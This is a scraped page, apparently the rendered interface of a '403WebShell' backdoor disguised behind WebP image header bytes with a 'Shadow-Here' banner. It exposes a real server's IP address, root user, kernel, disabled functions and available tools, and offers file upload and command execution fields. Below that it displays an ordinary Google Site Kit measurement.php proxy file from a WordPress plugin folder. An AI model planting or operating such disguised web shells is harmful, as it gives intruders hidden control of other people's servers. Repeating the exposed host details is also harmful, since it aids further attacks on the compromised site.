RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/coppersmith/wp-content/plugins/google-site-kit/gtg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/coppersmith/wp-content/plugins/google-site-kit/gtg/measurement.php
<?php

/**
 * GoogleTagGatewayServing measurement request proxy file
 *
 * @package   Google\GoogleTagGatewayLibrary\Proxy
 * @copyright 2024 Google LLC
 * @license   https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0
 *
 * @version   a8ee614
 *
 * NOTICE: This file has been modified from its original version in accordance with the Apache License, Version 2.0.
 */

// This file should run in isolation from any other PHP file. This means using
// minimal to no external dependencies, which leads us to suppressing the
// following linting rules:
//
// phpcs:disable PSR1.Files.SideEffects.FoundWithSymbols
// phpcs:disable PSR1.Classes.ClassDeclaration.MultipleClasses

/* Start of Site Kit modified code. */
namespace {
    if ( isset( $_GET['healthCheck'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification
        echo 'ok';
        exit;
    }
    // Return early when including to use in external health check.
    // All classes will be defined but no further statements will be executed.
    if ( defined( 'GOOGLESITEKIT_GTG_ENDPOINT_HEALTH_CHECK' ) ) {
        return;
    }
}
/* End of Site Kit modified code. */

namespace Google\GoogleTagGatewayLibrary\Proxy {
use Google\GoogleTagGatewayLibrary\Http\RequestHelper;
use Google\GoogleTagGatewayLibrary\Http\ServerRequestContext;

/** Runner class to execute the proxy request. */
final class Runner
{
    /**
     * Request helper functions.
     *
     * @var RequestHelper
     */
    private RequestHelper $helper;
    /**
     * Measurement request helper.
     *
     * @var Measurement
     */
    private Measurement $measurement;
    /**
     * Constructor.
     *
     * @param RequestHelper $helper
     */
    public function __construct(RequestHelper $helper, Measurement $measurement)
    {
        $this->helper = $helper;
        $this->measurement = $measurement;
    }
    /** Run the core logic for forwarding traffic. */
    public function run(): void
    {
        $response = $this->measurement->run();
        $this->helper->setHeaders($response['headers']);
        http_response_code($response['statusCode']);
        echo $response['body'];
    }
    /** Create an instance of the runner with the system defaults. */
    public static function create()
    {
        $helper = new RequestHelper();
        $context = ServerRequestContext::create();
        $measurement = new Measurement($helper, $context);
        return new self($helper, $measurement);
    }
}
}

namespace Google\GoogleTagGatewayLibrary\Http {
/**
 * Isolates network requests and other methods like exit to inject into classes.
 */
class RequestHelper
{
    /**
     * Helper method to exit the script early and send back a status code.
     *
     * @param int $statusCode
     */
    public function invalidRequest(int $statusCode): void
    {
        http_response_code($statusCode);
        exit;
    }
    /**
     * Set the headers from a headers array.
     *
     * @param string[] $headers
     */
    public function setHeaders(array $headers): void
    {
        foreach ($headers as $header) {
            if (!empty($header)) {
                header($header);
            }
        }
    }
    /**
     * Sanitizes a path to a URL path.
     *
     * This function performs two critical actions:
     * 1. Extract ONLY the path component, discarding any scheme, host, port,
     *    user, pass, query, or fragment.
     *    Primary defense against Server-Side Request Forgery (SSRF).
     * 2. Normalize the path to resolve directory traversal segments like
     *    '.' and '..'.
     *    Prevents path traversal attacks.
     *
     * @param string $pathInput The raw path string.
     * @return string|false The sanitized and normalized URL path.
     */
    public static function sanitizePathForUrl(string $pathInput): string
    {
        if (empty($pathInput)) {
            return false;
        }
        // Normalize directory separators to forward slashes for Windows like directories.
        $path = str_replace('\\', '/', $pathInput);
        // 2. Normalize the path to resolve '..' and '.' segments.
        $parts = [];
        // Explode the path into segments. filter removes empty segments (e.g., from '//').
        $segments = explode('/', trim($path, '/'));
        foreach ($segments as $segment) {
            if ($segment === '.' || $segment === '') {
                // Ignore current directory and empty segments.
                continue;
            }
            if ($segment === '..') {
                // Go up one level by removing the last part.
                if (array_pop($parts) === null) {
                    // If we try and traverse too far back, outside of the root
                    // directory, this is likely an invalid configuration so
                    // return false to have caller handle this error.
                    return false;
                }
            } else {
                // Add the segment to our clean path.
                $parts[] = rawurlencode($segment);
            }
        }
        // Rebuild the final path.
        $sanitizedPath = implode('/', $parts);
        return '/' . $sanitizedPath;
    }
    /**
     * Helper method to send requests depending on the PHP environment.
     *
     * @param string $method
     * @param string $url
     * @param array $headers
     * @param string $body
     *
     * @return array{
     *      body: string,
     *      headers: string[],
     *      statusCode: int,
     * }
     */
    public function sendRequest(string $method, string $url, array $headers = [], ?string $body = null): array
    {
        if ($this->isCurlInstalled()) {
            $response = $this->sendCurlRequest($method, $url, $headers, $body);
        } else {
            $response = $this->sendFileGetContents($method, $url, $headers, $body);
        }
        return $response;
    }
    /**
     * Send a request using curl.
     *
     * @param string $method
     * @param string $url
     * @param array $headers
     * @param string $body
     *
     * @return array{
     *      body: string,
     *      headers: string[],
     *      statusCode: int,
     * }
     */
    protected function sendCurlRequest(string $method, string $url, array $headers = [], ?string $body = null): array
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_URL, $url);
        $method = strtoupper($method);
        switch ($method) {
            case 'GET':
                curl_setopt($ch, CURLOPT_HTTPGET, true);
                break;
            case 'POST':
                curl_setopt($ch, CURLOPT_POST, true);
                break;
            default:
                curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
                break;
        }
        if (!empty($headers)) {
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        }
        if (!empty($body)) {
            curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
        }
        $result = curl_exec($ch);
        $statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
        $headersString = substr($result, 0, $headerSize);
        $headers = explode("\r\n", $headersString);
        $headers = $this->normalizeHeaders($headers);
        $body = substr($result, $headerSize);
        curl_close($ch);
        return array('body' => $body, 'headers' => $headers, 'statusCode' => $statusCode);
    }
    /**
     * Send a request using file_get_contents.
     *
     * @param string $method
     * @param string $url
     * @param array $headers
     * @param string $body
     *
     * @return array{
     *      body: string,
     *      headers: string[],
     *      statusCode: int,
     * }
     */
    protected function sendFileGetContents(string $method, string $url, array $headers = [], ?string $body = null): array
    {
        $httpContext = ['method' => strtoupper($method), 'follow_location' => 0, 'max_redirects' => 0, 'ignore_errors' => true];
        if (!empty($headers)) {
            $httpContext['header'] = implode("\r\n", $headers);
        }
        if (!empty($body)) {
            $httpContext['content'] = $body;
        }
        $streamContext = stream_context_create(['http' => $httpContext]);
        // Calling file_get_contents will set the variable $http_response_header
        // within the local scope.
        $result = file_get_contents($url, false, $streamContext);
        /** @var string[] $headers */
        $headers = $http_response_header ?? [];
        $statusCode = 200;
        if (!empty($headers)) {
            // The first element in the headers array will be the HTTP version
            // and status code used, parse out the status code and remove this
            // value from the headers.
            preg_match('/HTTP\/\d\.\d\s+(\d+)/', $headers[0], $statusHeader);
            $statusCode = intval($statusHeader[1]) ?? 200;
        }
        $headers = $this->normalizeHeaders($headers);
        return array('body' => $result, 'headers' => $headers, 'statusCode' => $statusCode);
    }
    protected function isCurlInstalled(): bool
    {
        return extension_loaded('curl');
    }
    /** @param string[] $headers */
    protected function normalizeHeaders(array $headers): array
    {
        if (empty($headers)) {
            return $headers;
        }
        // The first element in the headers array will be the HTTP version
        // and status code used, this value is not needed in the headers.
        array_shift($headers);
        return $headers;
    }
    /**
     * Takes a single URL query parameter which has not been encoded and
     * ensures its key & value are encoded.
     *
     * @param string $parameter Query parameter to encode.
     * @return string The new query parameter encoded.
     */
    public static function encodeQueryParameter(string $parameter): string
    {
        list($key, $value) = explode('=', $parameter, 2) + ['', ''];
        // We just manually encode to avoid any nuances that may occur as a
        // result of `http_build_query`. One such nuance is that
        // `http_build_query` will add an index to query parameters that
        // are repeated through an array. We would only be able to store
        // repeated values as an array as associative arrays cannot have the
        // same key multiple times. This makes `http_build_query`
        // undesirable as we should pass parameters through as they come in
        // and not modify them or change the key.
        $key = rawurlencode($key);
        $value = rawurlencode($value);
        return "{$key}={$value}";
    }
}
}

namespace Google\GoogleTagGatewayLibrary\Http {
/** Request context populated with common server set values. */
final class ServerRequestContext
{
    /**
     * Server set associative array. Normally the same as $_SERVER.
     *
     * @var array
     */
    private $serverParams;
    /**
     * Associative array of query parameters. Normally the same as $_GET
     *
     * @var array
     */
    private $queryParams;
    /**
     * The current server request's body.
     *
     * @var string
     */
    private $requestBody;
    /**
     * Constructor
     *
     * @param array $serverParams
     * @param array $queryParams
     * @param string $requestBody
     */
    public function __construct(array $serverParams, array $queryParams, string $requestBody)
    {
        $this->serverParams = $serverParams;
        $this->queryParams = $queryParams;
        $this->requestBody = $requestBody;
    }
    /** Create an instance with the system defaults. */
    public static function create()
    {
        $body = file_get_contents("php://input") ?? '';
        return new self($_SERVER, $_GET, $body);
    }
    /**
     * Fetch the current request's request body.
     *
     * @return string The current request body.
     */
    public function getBody(): string
    {
        return $this->requestBody ?? '';
    }
    public function getRedirectorFile()
    {
        $redirectorFile = $this->serverParams['SCRIPT_NAME'] ?? '';
        if (empty($redirectorFile)) {
            return '';
        }
        return RequestHelper::sanitizePathForUrl($redirectorFile);
    }
    /**
     * Get headers from the current request as an array of strings.
     * Similar to how you set headers using the `headers` function.
     *
     * @param array $filterHeaders Filter out headers from the return value.
     */
    public function getHeaders(array $filterHeaders = []): array
    {
        $headers = [];
        // Extra headers not prefixed with `HTTP_`
        $extraHeaders = ["CONTENT_TYPE" => 'content-type', "CONTENT_LENGTH" => 'content-length', "CONTENT_MD5" => 'content-md5'];
        foreach ($this->serverParams as $key => $value) {
            # Skip reserved headers
            if (isset($filterHeaders[$key])) {
                continue;
            }
            # All PHP request headers are available under the $_SERVER variable
            # and have a key prefixed with `HTTP_` according to:
            # https://www.php.net/manual/en/reserved.variables.server.php#refsect1-reserved.variables.server-description
            $headerKey = '';
            if (substr($key, 0, 5) === 'HTTP_') {
                # PHP defaults to every header key being all capitalized.
                # Format header key as lowercase with `-` as word separator.
                # For example: cache-control
                $headerKey = strtolower(str_replace('_', '-', substr($key, 5)));
            } elseif (isset($extraHeaders[$key])) {
                $headerKey = $extraHeaders[$key];
            }
            if (empty($headerKey) || empty($value)) {
                continue;
            }
            $headers[] = "{$headerKey}: {$value}";
        }
        // Add extra x-forwarded-for if remote address is present.
        if (isset($this->serverParams['REMOTE_ADDR'])) {
            $headers[] = "x-forwarded-for: {$this->serverParams['REMOTE_ADDR']}";
        }
        // Add extra geo if present in the query parameters.
        $geo = $this->getGeoParam();
        if (!empty($geo)) {
            $headers[] = "x-forwarded-countryregion: {$geo}";
        }
        return $headers;
    }
    /**
     * Get the request method made for the current request.
     *
     * @return string
     */
    public function getMethod()
    {
        return @$this->serverParams['REQUEST_METHOD'] ?: 'GET';
    }
    /** Get and validate the geo parameter from the request. */
    public function getGeoParam()
    {
        $geo = $this->queryParams['geo'] ?? '';
        // Basic geo validation
        if (!preg_match('/^[A-Za-z0-9-]+$/', $geo)) {
            return '';
        }
        return $geo;
    }
    /** Get the tag id query parameter from the request.  */
    public function getTagId()
    {
        $tagId = $this->queryParams['id'] ?? '';
        // Validate tagId
        if (!preg_match('/^[A-Za-z0-9-]+$/', $tagId)) {
            return '';
        }
        return $tagId;
    }
    /** Get the destination query parameter from the request.  */
    public function getDestination()
    {
        $path = $this->queryParams['s'] ?? '';
        // When measurement path is present it might accidentally pass an empty
        // path character depending on how the url rules are processed so as a
        // safety when path is empty we should assume that it is a request to
        // the root.
        if (empty($path)) {
            $path = '/';
        }
        // Remove reserved query parameters from the query string
        $params = $this->queryParams;
        unset($params['id'], $params['s'], $params['geo'], $params['mpath']);
        $containsQueryParameters = strpos($path, '?') !== false;
        if ($containsQueryParameters) {
            list($path, $query) = explode('?', $path, 2);
            $path .= '?' . RequestHelper::encodeQueryParameter($query);
        }
        if (!empty($params)) {
            $paramSeparator = $containsQueryParameters ? '&' : '?';
            $path .= $paramSeparator . http_build_query($params, '', '&', PHP_QUERY_RFC3986);
        }
        return $path;
    }
    /**Get the measurement path query parameter from the request.  */
    public function getMeasurementPath()
    {
        return $this->queryParams['mpath'] ?? '';
    }
}
}

namespace Google\GoogleTagGatewayLibrary\Proxy {
use Google\GoogleTagGatewayLibrary\Http\RequestHelper;
use Google\GoogleTagGatewayLibrary\Http\ServerRequestContext;
/** Core measurement.php logic. */
final class Measurement
{
    private const TAG_ID_QUERY = '?id=';
    private const GEO_QUERY = '&geo=';
    private const PATH_QUERY = '&s=';
    private const FPS_PATH = 'PHP_GTG_REPLACE_PATH';
    /**
     * Reserved request headers that should not be sent as part of the
     * measurement request.
     *
     * @var array<string, bool>
     */
    private const RESERVED_HEADERS = [
        # PHP managed headers which will be auto populated by curl or file_get_contents.
        'HTTP_ACCEPT_ENCODING' => true,
        'HTTP_CONNECTION' => true,
        'HTTP_CONTENT_LENGTH' => true,
        'CONTENT_LENGTH' => true,
        'HTTP_EXPECT' => true,
        'HTTP_HOST' => true,
        'HTTP_TRANSFER_ENCODING' => true,
        # Sensitive headers to exclude from all requests.
        'HTTP_AUTHORIZATION' => true,
        'HTTP_PROXY_AUTHORIZATION' => true,
        'HTTP_X_API_KEY' => true,
    ];
    /**
     * Request helper.
     *
     * @var RequestHelper
     */
    private RequestHelper $helper;
    /**
     * Server request context.
     *
     * @var ServerRequestContext
     */
    private ServerRequestContext $serverRequest;
    /**
     * Create the measurement request handler.
     *
     * @param RequestHelper $helper
     * @param ServerRequestContext $serverReqeust
     */
    public function __construct(RequestHelper $helper, ServerRequestContext $serverRequest)
    {
        $this->helper = $helper;
        $this->serverRequest = $serverRequest;
    }
    /** Run the measurement logic. */
    public function run()
    {
        $redirectorFile = $this->serverRequest->getRedirectorFile();
        if (empty($redirectorFile)) {
            $this->helper->invalidRequest(500);
            return "";
        }
        $tagId = $this->serverRequest->getTagId();
        $path = $this->serverRequest->getDestination();
        $geo = $this->serverRequest->getGeoParam();
        $mpath = $this->serverRequest->getMeasurementPath();
        if (empty($tagId) || empty($path)) {
            $this->helper->invalidRequest(400);
            return "";
        }
        $useMpath = empty($mpath) ? self::FPS_PATH : $mpath;
        $fpsUrl = 'https://' . $tagId . '.fps.goog/' . $useMpath . $path;
        $requestHeaders = $this->serverRequest->getHeaders(self::RESERVED_HEADERS);
        $method = $this->serverRequest->getMethod();
        $body = $this->serverRequest->getBody();
        $response = $this->helper->sendRequest($method, $fpsUrl, $requestHeaders, $body);
